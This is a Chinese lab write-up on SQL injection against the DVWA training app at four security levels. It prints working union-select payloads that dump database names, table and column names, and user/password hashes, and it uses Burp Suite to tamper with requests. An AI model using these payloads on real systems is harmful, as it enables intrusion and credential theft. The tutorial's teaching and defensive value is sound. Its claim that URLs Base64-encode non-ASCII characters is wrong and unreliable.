目录:
一、SQL注入简介:
- SQL注入漏洞原理
- SQL注入类型
- SQL注入过程
二、实验环境
三、实验步骤
- 安全级别:LOW
- 安全级别:Medium
- 安全级别:High
- 安全级别:Impossible
一、SQL注入简介
1、SQL注入漏洞原理:
SQL注入漏洞原理:把SQL命令插入到Web表单提交,或输入域名,或网页提交的查询字符串中,从而达到欺骗服务器执行恶意的SQL命令。(即,将恶意的SQL语句拼接到合法的语句中,从而达到执行SQL语句的目的)
2、SQL注入漏洞类型:
- 字符型
- 数字型
- 搜索型
3、SQL注入的过程:
- 判断是否存在注入,注入的是字符型,数字型,还是搜索型;
- 猜解SQL查询语句中的字段数;
- 确定显示位置;
- 获取当前数据库;
- 获取数据库中的表;
- 获取表中的字段名;
- 下载数据;
二、SQL注入
实验环境:
1、Windows服务器:Win7 ,IP地址:192.168.85.201。启动phpstudy服务;
2、测试机:物理机Windows10,安装BurpSuite,通过Firefox浏览器远程登录DVWA;
2、实验过程:
安全级别:Low
(1)设置安全级别为:Low
(2)查看源码:
3、源码分析:
根据源码可以看到,Low级别的代码对参数ID没有任何的检查与过滤,存在明显的SQL注入漏洞,并且为字符型的注入。
4、实验操作:
这里插入一个知识点:
浅谈HTTP中GET、POST用法:
- HTTP定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符。我们可以这样认为: 一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的 查,改,增,删 4个操作。到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。
- Get是最常用的方法,通常用于请求服务器发送某个资源,而且应该是安全的和幂等的。
- POST方法向服务器提交数据,比如完成表单数据的提交,将数据提交给服务器处理。
- PUT方法是让服务器用请求的主体部分来创建一个由所请求的URL命名的新文档;如果那个文档存在的话,就用这个主体来代替它。
.GET和POST的区别:
- GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连,如:login.action?name=hyddd&password=idontknow&verify=%E4%BD%A0%E5%A5%BD。如果数据是英文字母或数字,则原样发送;如果是空格,转换为+;如果是中文或其他字符,则直接把字符串用BASE64加密,得出如:%E4%BD%A0%E5%A5%BD,其中%XX中的XX为该符号以16进制表示的ASCII码值。而与之对应的,POST把提交的数据放置在HTTP包的包体中,文章最下面将会有代码示例。
- POST的安全性要比GET的安全性高。注意:这里所说的安全性和上面GET提到的“安全”不是同个概念。上面“安全”的含义仅仅是不作数据修改,而这里安全的含义是真正的Security的含义。比如:通过GET提交数据,用户名和密码将明文出现在URL上,因为:(1)登录页面有可能被浏览器缓存,(2)其他人查看浏览器的历史纪录,那么别人就可以拿到你的账号和密码了,除此之外,使用GET提交数据还可能会造成Cross-site request forgery攻击(CSRF,跨站请求伪造,也被称为:one click attack/session riding)。
4.1> 判断是否存在注入,注入的是字符型还是数字型的;
- 输入1,查询成功,存在SQL注入
- 输入1’ or ‘1’='1 或 1’ or ‘1234’ = ‘1234,成功所有结果,证明该SQL注入为字符型;
4.2> 猜测SQL查询语句中的字段数;
- 在输入框中输入 1’ order by 1 # 和 1’ order by 2 # 时都返回正常;
- 对比源码,这条语句的意思是查询users表中user_id为1的数据并按第一或第二字段排列;
切记:最后的#是将后面的内容注释掉了,同时后面的冒号也被注释掉,但是这个不影响语句的正常执行;
在输入框中输入 1’ order by 3 #时,返回错误(Unknown column ‘3’ in ‘order clause’),说明该表输入的字段数为2,有两列数据;
4.3> 确定字段的显示位置;
当确定字段数之后,接下来使用union select联合查询继续获取数据
1’ union select 1,2 # ——>1在First name中显示,2在Surname中显示;
4.4> 获取当前数据库名;
输入 1’ union select version(),database() # ——> 在1的位置显示数据库版本,在2的位置显示数据库名;
4.5> 获取数据库中的表
- 对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名,数据库的表等信息;
- 输入 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 可以看出,DVWA数据库中一共有两个表:guestbook,users
4.6> 获取表中的字段名;
- 输入 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
- 可以看出,users表中一共有8个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login;
4.7> 获取数据;
- 输入 1’ union select user,password from users#
可以看出,已经获取到的用户名和加密信息;
4.8> 可以通过MD5解密工具(如,SOMD5解密工具),获取密码;
安全等级:Medium
1、设置安全级别:Medium
2、查看源码
3、源码分析:
- 可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义;
- 同时设置了下拉选择表单,控制用户的输入;
- 可以简单看出,用户只能选择1-5,存在数字型SQL注入;
4、实验过程:
4.1> 判断是否存在注入,注入是字符型还是数字型;
- 借助Burp Suite工具对抓取的数据包进行修改(Post方式),实现SQL注入。
4.2> 导入Repeater中;
4.3> 判断是否存在注入,注入的是字符型还是数字型;
- 1 and 1=1 或者 1 or 1234 = 1234 //均成功出现结果,存在SQL注入,且为数字型
4.4> 猜解SQL查询语句中的字段数;
命令:1 order by 2
通过尝试可以得出,判断字段为2
4.5> 确定显示位置;
1 union select 1,2 ——> //1显示在First name的位置,2显示在Surname的位置
4.6> 获取当前数据库名:
- 输入:1 union select version(),database()#
可以查询到数据库的版本为5.5.53,数据库名dvwa;
4.6> 获取数据库中的表;
- 对于数据库mysql5.0以上的版本,存在information——schema表,这张表保存了MySQL服务器所有的数据库的信息,如数据库名,数据库表的信息等等。
- 输入: 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
通过观察可以看书,DVWA数据库中总共有两个表:guestbook、users
4.7> 获取指定表中的字段名;
- 输入: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
- 输入转义:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
- 因为table_name='users’中带有单引号,会进行转义,所以我们需要将users进行编码;
可以看出,users表中一共有8个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login;
4.8> 获取数据;
1 union select user,password from users ——> //获取用户名和加密的密码
可以通过解码用具,获取密码();
安全等级:High
1、设置安全级别为High
2、查看源码
3、源码分析
- High级别在SQL查询语句中添加了LIMIT1,以此控制值输入一个结果;
- 虽然添加了LIMIT1,但是我们可以通过#将其注释掉;
4、实验过程
该过程和low级别的操作基本一致,不同的是另启动一个网页,进行输出操作,简单附两张图说明;
- 输入:1’ or ‘1234’ = ‘1234 #
获取用户名和密码;
安全级别
1、设置安全级别:
2、查看源码:
3、源码分析;
Impossible安全级别采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。